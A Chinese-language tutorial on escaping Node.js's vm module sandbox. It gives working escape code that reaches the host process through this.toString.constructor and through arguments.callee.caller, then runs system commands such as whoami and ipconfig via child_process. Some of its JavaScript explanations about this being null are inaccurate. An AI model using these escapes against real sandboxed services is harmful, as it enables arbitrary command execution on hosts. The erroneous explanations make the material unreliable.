Nodejs沙箱逃逸

目录

一、基本概念

JavaScript和Nodejs之间有什么区别

什么是沙箱（sandbox）

沙箱（sandbox）和 虚拟机（VM）和 容器（Docker）之间的区别

二、vm模块

举例说明

注意

为什么不直接使用{}.toString.constructor('return process')()，却要使用this呢？

m和n也是沙盒外的对象，为什么不用m.toString.constructor('return process')()呢？

 沙箱绕过的核心原理

三、沙箱逃逸示例：

1、第一种沙箱逃逸方法——利用this

2、利用引用类型例如{}

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一、基本概念

JavaScript和Nodejs之间有什么区别

        JavaScript用在浏览器前端，后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境，因此JavaScript也可以作为一门后端语言，写在后端（服务端）的JavaScript就叫叫做Nodejs。

什么是沙箱（sandbox）

        当我们运行一些可能会产生危害的程序，我们不能直接在主机的真实环境上进行测试，所以可以通过单独开辟一个运行代码的环境，它与主机相互隔离，但使用主机的硬件资源，我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响，而不会影响到主机上的功能，沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部。

沙箱（sandbox）和 虚拟机（VM）和 容器（Docker）之间的区别

        sandbox和VM使用的都是虚拟化技术，但二者间使用的目的不一样。沙箱用来隔离有害程序，而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种，通过创造一个有边界的运行环境将程序放在里面，使程序被边界困住，从而使程序与程序，程序与主机之间相互隔离开。在实际防护时，使用Docker和sandbox嵌套的方式更多一点，安全性也更高。

在Nodejs中，我们可以通过引入vm模块来创建一个“沙箱”，但其实这个vm模块的隔离功能并不完善，还有很多缺陷，因此Node后续升级了vm，也就是现在的vm2沙箱，vm2引用了vm模块的功能，并在其基础上做了一些优化。

二、vm模块

        vm模块是Node.JS内置的一个模块。理论上不能叫沙箱，他只是Node.JS提供给使用者的一个隔离环境。

举例说明

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

 这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象：

this 指向传给vm.createContextsha沙箱的那个对象

m 等于数字1

n 等于数字2

我们可以使用外部传入的对象，比如this来引入当前上下文里没有的模块，进而绕过这个隔离环境。

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()

第一行this.toString获取到一个函数对象，this.toString.constructor获取到函数对象的构造器，构造器中可以传入字符串类型的代码。然后在执行，即可获得process对象。

第二行，利用前面获取的process对象既可以干任何事。

注意

为什么不直接使用{}.toString.constructor('return process')()，却要使用this呢？

        这两个的一个重要区别就是，{}是在沙盒内的一个对象，而this是在沙盒外的对象（注入进来的）。沙盒内的对象即使使用这个方法，也获取不到process，因为它本身就没有process。

m和n也是沙盒外的对象，为什么不用m.toString.constructor('return process')()呢？

        因为primitive types，数字、字符串、布尔等这些都是primitive types，他们的传递其实传递的是值而不是引用，所以在沙盒内虽然你也是使用的m，但是这个m和外部那个m已经不是一个m了，所以也是无法利用的

        所以，如果修改下context：{m: [], n: {}, x: /regexp/}，这样m、n、x就都可以利用了。

 沙箱绕过的核心原理

        只要在沙箱内部，找到一个沙箱外部的对象，借助这个对象内的属性即可获得沙箱外的函数，进而绕过沙箱。

三、沙箱逃逸示例：

1、第一种沙箱逃逸方法——利用this

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

 逃逸完成 ！！！

此时可以发现命令执行已经逃逸出沙箱在本地端执行了

但是执行结果为什么不是whoami呢？

我们查看一下在nodejs下 查看whoami命令结果，可以看到执行结果为查找当前主机的主机名

换句话说，此时逃逸出沙箱的执行权限则为Administrators，是管理员权限，可见其危害之大

我们可以将whoami命令换成ipconfig，可以更加直观感受到沙箱逃逸的危害

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('ipconfig').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

可以看到此时沙箱逃逸执行命令权限为任意执行，危害极大！！！

2、利用引用类型例如{}

我们改一下代码，让上下文中不存在this也不存在其他对象，代码如下：

const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null)
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);

此时this是null，上下文中也没有其他对象，怎么办？

在 JavaScript 中，this 关键字的值取决于函数的执行上下文。在全局作用域中，this 通常指向全局对象（如浏览器环境中的 window 对象，Node.js 环境中的 global 对象）。但是，在使用 Object.create(null) 创建的对象上下文中，this 将为 null。

const sandbox = Object.create(null);
Object.create(null) 是一个创建一个新对象的方法，该对象没有继承自任何原型链。在 JavaScript 中，Object.create(null) 会创建一个纯净的对象，它没有继承自 Object.prototype 或任何其他原型对象，因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。

在这个纯净对象 sandbox 上下文中，由于没有原型链，它的 this 值将为 null。也就是说，如果在 sandbox 对象的上下文中使用 this 关键字，它将是 null。

让我们看一个例子：

const sandbox = Object.create(null);

function greet() {
  console.log(this);
}

greet(); // Output: null
在上述示例中，我们定义了一个名为 greet 的函数，并在全局作用域中调用它。由于函数在全局作用域中调用，它的 this 值将为全局对象（如浏览器环境中的 window 或 Node.js 环境中的 global）。然而，如果我们在 sandbox 对象的上下文中调用 greet 函数，this 将为 null：

const sandbox = Object.create(null);

function greet() {
  console.log(this);
}

sandbox.greet = greet;
sandbox.greet(); // Output: null
在这个例子中，我们将 greet 函数作为 sandbox 对象的方法，并在 sandbox 对象的上下文中调用它。在这种情况下，this 将是 null

此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量，我们可以通过arguments.callee.caller获得调用这个函数的调用者。

在 JavaScript 中，arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而，这两个属性都已经被弃用（deprecated）并不再建议使用，因为它们在严格模式（"strict mode"）下会导致错误。

arguments.callee:

arguments.callee 是一个指向当前正在执行的函数本身的引用。
通过 arguments.callee 可以在函数内部递归调用自身，而不需要知道函数的名称。
在过去，它经常用于创建匿名递归函数。例如：
const factorial = function(n) {
  if (n === 0 || n === 1) {
    return 1;
  } else {
    return n * arguments.callee(n - 1); // 不推荐使用
  }
};
但是，由于 arguments.callee 在严格模式下会导致错误，建议使用命名函数表达式或函数声明来实现递归。

arguments.caller:

arguments.caller 是一个指向调用当前函数的函数的引用。
它提供了一种查找调用栈的方式，可以追溯到调用当前函数的函数。
与 arguments.callee 类似，arguments.caller 也在严格模式下被弃用。
例子：
function outer() {
  inner();
}

function inner() {
  console.log(arguments.caller); // 不推荐使用
}

outer();
在上述例子中，inner 函数内部使用 arguments.caller 来获取调用它的函数 outer 的引用。但是请注意，这两个属性已经被弃用，应该避免在代码中使用它们。相反，可以使用函数表达式、命名函数或箭头函数来实现递归，而不需要依赖 arguments.callee。要获取调用栈的信息，可以使用 Error 对象的 stack 属性。

那么如果我们在沙盒中定义一个函数并返回，在沙盒外这个函数被调用，那么此时的arguments.callee.caller就是沙盒外的这个调用者，我们再通过这个调用者拿到它的constructor等属性，就可以绕过沙箱了。

const vm = require('vm');
const script = `(() => {  
	const a = {}  
	a.toString = function () {    
	const cc = arguments.callee.caller;    
	const p = (cc.constructor.constructor('return process'))();   
	 return p.mainModule.require('child_process').execSync('whoami').toString()  
	}  
	return a })()`;
const sandbox = Object.create(null)
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res)

逃逸成功！！！